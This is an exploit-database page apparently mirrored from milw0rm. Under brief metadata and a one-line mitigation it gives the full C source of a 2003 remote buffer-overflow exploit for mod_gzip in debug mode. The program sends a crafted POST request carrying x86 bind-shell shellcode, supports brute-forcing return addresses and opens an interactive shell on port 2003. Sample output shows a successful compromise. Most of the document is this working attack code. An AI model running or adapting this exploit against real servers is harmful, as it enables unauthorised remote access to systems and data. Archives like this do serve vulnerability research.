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Suggest Exploit
vendor:
mod_gzip
by:
xCrZx
9,3
CVSS
HIGH
mod_gzip (debug_mode)
N/A
CWE
Product Name: mod_gzip
Affected Version From: 1.2.26.1a
Affected Version To: 1.3.19.2a
Patch Exists: YES
Related CWE: N/A
CPE: a:mod_gzip:mod_gzip:1.2.26.1a
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Linux, BSD
2003

Remote Exploit for mod_gzip (debug_mode) [Linux/*BSD]

This is a remote exploit for mod_gzip (debug_mode) on Linux/*BSD systems. It can be used in single mode or brute mode. In single mode, it connects to the target on port 80 and tries to connect to port 2003. In brute mode, it uses a step of 1000 and tries to connect to port 2003. If successful, it will give a shell access to the target.

Mitigation:

Disable debug_mode in mod_gzip, upgrade to the latest version of mod_gzip, or use an alternative solution.
Source

Exploit-DB raw data:

/*
\  	[exploit code] for mod_gzip (with debug_mode) <= 1.2.26.1a
/
\  	Created by xCrZx crazy_einstein yahoo com  /05.06.03/
/
\  	Tested on RedHat 8.0 (Psyche) (here is target for it), 
/               also tested on FreeBSD 4.7 (1.3.19.2a) (here is no target for it :)
/
\
*/

/*
\
/	Single mode:
\
/  	[crz@blacksand crz]$ ./85mod_gzip -t 0 -h localhost
\ 
/  	remote exploit for mod_gzip (debug_mode) [Linux/*BSD]
\                   	by xCrZx [crazy_einstein@yahoo.com] /05.06.03/
/ 
\  	Using: ret_err = 0x42127480, ret = 0xbfffd8f0
/ 
\    	[!] Connecting to localhost:80
/      	[+] Connected!
\      	[*] Trying to connect to localhost:2003 port!!! Pray for success!
/      	[*] Sleeping at 2 seconds...
\ 
/      	[!] Shell is accessible!
\ 
/      	uid=99(nobody) gid=99(nobody) groups=99(nobody)
\      	Linux blacksand 2.4.18-14 #1 Wed Sep 4 13:35:50 EDT 2002 i686 i686 i386 GNU/Linux
/ 
\	Brute mode:
/ 
\	[crz@blacksand crz]$ ./85mod_gzip -h localhost -b 0xbfffffff -s 1000
/
\	remote exploit for mod_gzip (debug_mode) [Linux/*BSD]
/        	         by xCrZx [crazy_einstein@yahoo.com] /05.06.03/
\
/	Using: ret_err = 0x42127480, ret = 0xbfffffff ,step = 1000
\
/	[~] Brutemode activated!
\	.
/	[!] Shell is accessible!
\
/	uid=99(nobody) gid=99(nobody) groups=99(nobody)
\	Linux blacksand 2.4.18-14 #1 Wed Sep 4 13:35:50 EDT 2002 i686 i686 i386 GNU/Linux
/  
\
*/



#include <stdio.h>
#include <netinet/in.h>  
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>


#define STEP 1000

char fmt[] =

"POST /?%s HTTP/1.1\r\n"
"Content-Type: text/html\r\n"
"Host: %s\r\n"
"Content-Length: %d\r\n"
"Accept-Encoding: gzip, deflate\r\n\r\n"
"%s\r\n\r\n";

	 
struct TARGETS {
	char *distr;
	long ret;
	long std_err;
	char *shellcode;
	char *jmp;
} targets[] = { 
	
	/* you can add targets here */
	
	{"RedHat 8.0 (Psyche)",  // disributive info
	 0xbfffd8f0, // return address in stack
	 0x42127480, // address of stderr
	 //shellcode for Linux x86 -> bind shell on 2003 port//
         "\x31\xc0\x89\xc3\xb0\x02\xcd\x80\x38\xc3\x74\x05\x8d\x43\x01\xcd\x80"
         "\x31\xc0\x89\x45\x10\x40\x89\xc3\x89\x45\x0c\x40\x89\x45\x08\x8d\x4d"
         "\x08\xb0\x66\xcd\x80\x89\x45\x08\x43\x66\x89\x5d\x14\x66\xc7\x45\x16"
         "\x07\xd3\x31\xd2\x89\x55\x18\x8d\x55\x14\x89\x55\x0c\xc6\x45\x10\x10"
         "\xb0\x66\xcd\x80\x40\x89\x45\x0c\x43\x43\xb0\x66\xcd\x80\x43\x89\x45"
         "\x0c\x89\x45\x10\xb0\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41"
         "\x80\xf9\x03\x75\xf6\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62"
         "\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80",

     	/*

     	special jump instruction (to avoid bad characters in url):
      	(jump on our shellcode into heap)
 
 	movl $0xa1a51baa,%ebx
 	addl $0x66666666,%ebx
 	jmp *%ebx

      	*/
	 
        "\xbb\xaa\x1b\xa5\xa1\x81\xc3\x66\x66\x66\x66\xff\xe3"

	} };

	 
long getip(char *hostname) {
	struct hostent *he;
	long ipaddr;
	
	if ((ipaddr = inet_addr(hostname)) < 0) {
		if ((he = gethostbyname(hostname)) == NULL) {
			perror("gethostbyname()");
			exit(-1);
		}
		memcpy(&ipaddr, he->h_addr, he->h_length);
	}	
	return ipaddr;
}

void usage(char *prog) {

	int i=0;
	
printf("\nUsage: %s <-h www.victim.com> [-p port] [-t target] [-r manual_retaddr] 
[-b addr] [-s step_num]\n\nTargets:\n",prog);
while(targets[i++].distr) printf("\t[%d] -> %s\n",i-1,targets[i-1].distr);
printf("\n");
exit(0);

}

int main(int argc, char **argv) {
 
    	int i=0;     
    	struct sockaddr_in sockstruct;
    	struct hostent *HOST;
    	char tmp[20000];
	char buf1[5000],buf2[10000];
    	int sock;
    	fd_set  rset;
	int port=80,shellport=2003;
	int step=STEP;
	char *victim=NULL;
	long ret=0xbfffffff,ret_err;
	int brutemode=0;
	char *shellcode,*jmp;
	int trg=0;

printf("\nremote exploit for mod_gzip (debug_mode) [Linux/*BSD]\n\t\t by xCrZx [crazy_einstein] /05.06.03/\n");

	for(i=0;i<argc;i++) {
		if(argv[i][1]=='h') victim=argv[i+1];
		if(argv[i][1]=='p') port=atoi(argv[i+1]);
		if(argv[i][1]=='t') {ret=targets[atoi(argv[i+1])].ret;trg=atoi(argv[i+1]);}
               	if(argv[i][1]=='r') sscanf(argv[i+1],"0x%x",&ret);	
		if(argv[i][1]=='b') { brutemode=1; ret=strtoul(argv[i+1],0,16);}
		if(argv[i][1]=='s') { step=atoi(argv[i+1]);}
	}

	if(!victim || ret==0) usage(argv[0]);

	ret_err=targets[trg].std_err;
	shellcode=targets[trg].shellcode;
	jmp=targets[trg].jmp;

	printf("\nUsing: ret_err = 0x%x, ret = 0x%x",ret_err,ret);
	if(brutemode) printf(" ,step = %d\n",step);
	
	printf("\n");
	
	if(brutemode)printf("[~] Brutemode activated!\n");

	do {
    	
    	sock=socket(PF_INET,SOCK_STREAM,0);
    	sockstruct.sin_family=PF_INET; 
    	sockstruct.sin_addr.s_addr=getip(victim);
    	sockstruct.sin_port=htons(port);

    	if(!brutemode)printf("\n[!] Connecting to %s:%d\n",victim,port);
   
      	if(connect(sock,(struct sockaddr*)&sockstruct,sizeof(sockstruct))>-1) {

        	if(!brutemode)printf("[+] Connected!\n",i);

		memset(tmp ,0x00,sizeof tmp );
               	memset(buf1,0x00,sizeof buf1);
	       	memset(buf2,0x00,sizeof buf2);

		memset(buf1,0x90,2016);
		memcpy(buf1+strlen(buf1),jmp,strlen(jmp));
		memset(buf1+strlen(buf1),0x90,2280);
		*(long *)&buf1[strlen(buf1)]=ret_err;
		for(i=0;i<100;i++) *(long *)&buf1[strlen(buf1)]=ret;

		memset(buf2,0x90,1000);
		memcpy(buf2+strlen(buf2),shellcode,strlen(shellcode));
		
		sprintf(tmp,fmt,buf1,victim,strlen(buf2),buf2);
		write(sock,tmp,strlen(tmp));

      	}else { printf("[x] Error: Could not connect to %s:%d!\n",victim,port);exit(0);}
    
      	close(sock);

	ret-= step;

	if(brutemode) {printf(".");fflush(stdout);}
	

	if(!brutemode) {	
		printf("[*] Trying to connect to %s:%d port!!! Pray for success!\n",victim,shellport);
		printf("[*] Sleeping at 2 seconds...\n");
	}
	
	sleep(2);
	
       	sock=socket(PF_INET,SOCK_STREAM,0);

	bzero(sockstruct.sin_zero,sizeof(sockstruct.sin_zero));
	sockstruct.sin_family=PF_INET; 
       	sockstruct.sin_addr.s_addr=getip(victim);
       	sockstruct.sin_port=htons(shellport);

       	if(connect(sock,(struct sockaddr*)&sockstruct,sizeof(sockstruct))>-1) {
	        printf("\n[!] Shell is accessible!\n\n");
	        write(sock, "id;uname -a\n", 12); 
	        while (1) {
	                FD_ZERO(&rset);
	                FD_SET(sock,&rset);
	                FD_SET(STDIN_FILENO,&rset);
	                select(sock + 1, &rset, NULL, NULL, NULL);

       			if (FD_ISSET(sock, &rset)) {
	                        i = read(sock, tmp, sizeof(tmp) - 1);
	                        if (i <= 0) {
	                                printf("[!] Connection closed.\n");
	                                close(sock);
	                                exit(0);
	                        }
                        tmp[i] = 0;
                        printf("%s", tmp);
	                }
        	        if (FD_ISSET(STDIN_FILENO, &rset)) {
                	        i = read(STDIN_FILENO, tmp, sizeof(tmp) - 1);
                        	if (i > 0) {
                                	tmp[i]=0;
	                                write(sock, tmp, i);
        	                }
                	}
	        }
       	} else if(!brutemode)printf("[x] Shell is inaccessible..\n\n");

       	close(sock);

	} while ( brutemode );

      
    	return 0;
}

// milw0rm.com [2003-11-20]